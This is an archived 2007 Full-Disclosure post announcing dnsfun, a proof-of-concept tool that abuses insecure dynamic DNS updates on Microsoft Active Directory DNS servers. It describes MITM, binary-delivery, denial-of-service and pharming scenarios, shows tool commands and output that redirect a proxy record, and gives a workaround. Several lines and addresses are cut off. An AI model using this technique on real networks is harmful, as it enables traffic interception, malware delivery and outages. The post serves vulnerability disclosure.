lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 22 Mar 2007 11:35:18 +0100
From: "Andres Tarasco" <>
Subject: Exploiting Microsoft dynamic Dns updates

Hi list,

By default, most Microsoft DNS servers integrated with active directory
insecure dynamic updates for dns records.
This feature allows remote users to create, change and delete DNS records.
There are several attack scenarios:

+ MITM attacks: Changing dns records for the network proxy and relay HTTP
  This attack vector is the most reliable and also allows us to exploit
  updates for most Windows software, by deploying custom binaries to the

 + Denial of service: by deleting / changing critical dns records

 + Pharming: like mitm attacks, poisoning several dns records.

dnsfun exploits that weak configuration and allows remote users to modify
dns records.
Here are some examples of what can be done. Example:

D:\DNSfun>ping -n 1
Haciendo ping a [] con 32 bytes de datos:

D:\DNSfun>dnsfun.exe -s -q  proxy.mydomain -u
Microsoft Dynamic DNS Updates - Proof of Concept - (c) 2007 Andres Tarasco Acuña

 [+] Trying to resolve Host: proxy.mydomain (Dns Server
 [+] Host proxy.mydomain resolved as
 [+] Trying to set ip address of the host proxy.mydomain to
 [+] Trying Nonsecure Dynamic Update...
 [?] Host Updated. Checking...(0)
 [+] Host proxy.mydomain resolved as

D:\DNSfun>dnsfun.exe -s -cc -u
 Microsoft Dynamic DNS Updates - Proof of Concept - (c) 2007 Andres Tarasco Acuña

[+] Gathering Credentials..
[+] Creating DNS CName Record for (
[+] Host Created. Rechecking Record...
[+] Host resolved as CNAME

This isn't a new vulnerability but AFAIK those attack vectors were never
Workaround: Disable dynamic updates or set your dns to only accept secure

Spanish version and both src+binary are available at


Andres Tarasco

Content of type "text/html" skipped

Download attachment "dnsfun.c" of type "application/octet-stream" (15378 bytes)

Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia -

Powered by blists - more mailing lists